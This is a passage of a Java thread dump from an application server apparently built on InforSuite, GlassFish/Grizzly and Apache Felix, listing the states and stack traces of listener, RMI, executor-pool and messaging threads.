TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(1)" #39 daemon [WAITING] on java.lang.Object@704bcba7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(1)-192.168.215.4" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:475) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:469) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:69) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1228) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:75) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:915) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1171879416.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-kernel(1) SelectorRunner" #45 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:115) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"FelixStartLevel" #14 daemon [WAITING] on java.util.ArrayList@ac6b83c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:279) + at java.lang.Thread.run(Thread.java:748) + +"pool-26-thread-1" #96 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-21-thread-1" #91 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-6" #80 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web].StandardHost[server].StandardContext[]]" #77 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1677) + at java.lang.Thread.run(Thread.java:748) + +"newrelic-message-consumer-1" #50 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@75edd21f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-11" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a53ac0c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-expirer(1)" #47 daemon [TIMED_WAITING] on java.lang.Object@6deff8e7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-8" #82 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Timer-0" #16 daemon [WAITING] on java.util.TaskQueue@890436c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-1(3)" #28 daemon [WAITING] on java.lang.Object@646b5012 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"pool-8-thread-1" #65 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7101ed79 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837853214" #20 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@12293585 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #76 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59547f3a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(3)" #41 daemon [WAITING] on java.lang.Object@704bcba7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e492847 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-listener-1-expirer(1)" #32 daemon [TIMED_WAITING] on java.lang.Object@4df63e6c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI Scheduler(0)" #73 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32dc8876 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"iiop-service-kernel(1) SelectorRunner" #49 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:115) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"pool-18-thread-1" #90 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-19-thread-1" #88 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-16-thread-1" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7648547d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-expirer(1)" #44 daemon [TIMED_WAITING] on java.lang.Object@6b2d91f7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@7ec8094d]" #74 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@8dc15e8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:748) + +"Thread-20" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a53ac0c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-1-thread-1" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78893149 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-23-thread-1" #93 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-15-thread-1" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@720b0666 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837853214" #19 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@12293585 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-7" #81 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"SCR Component Actor" #63 daemon [WAITING] on java.util.LinkedList@24c2bf69 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:74) + at java.lang.Thread.run(Thread.java:748) + +"fileinstall-/usr/local/inforsuite/as/domains/domain1/autodeploy/bundles/" #61 daemon [TIMED_WAITING] on org.apache.felix.fileinstall.internal.DirectoryWatcher@2e159578 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:268) + +"slack-message-consumer-1" #51 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b7d34d5 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-2" #35 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"logging output pump" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73e4feb2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:153) + at com.cvicse.loong.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:131) + +"http-thread-pool::http-listener-2(4)" #42 daemon [WAITING] on java.lang.Object@704bcba7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(2)-192.168.215.4" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at 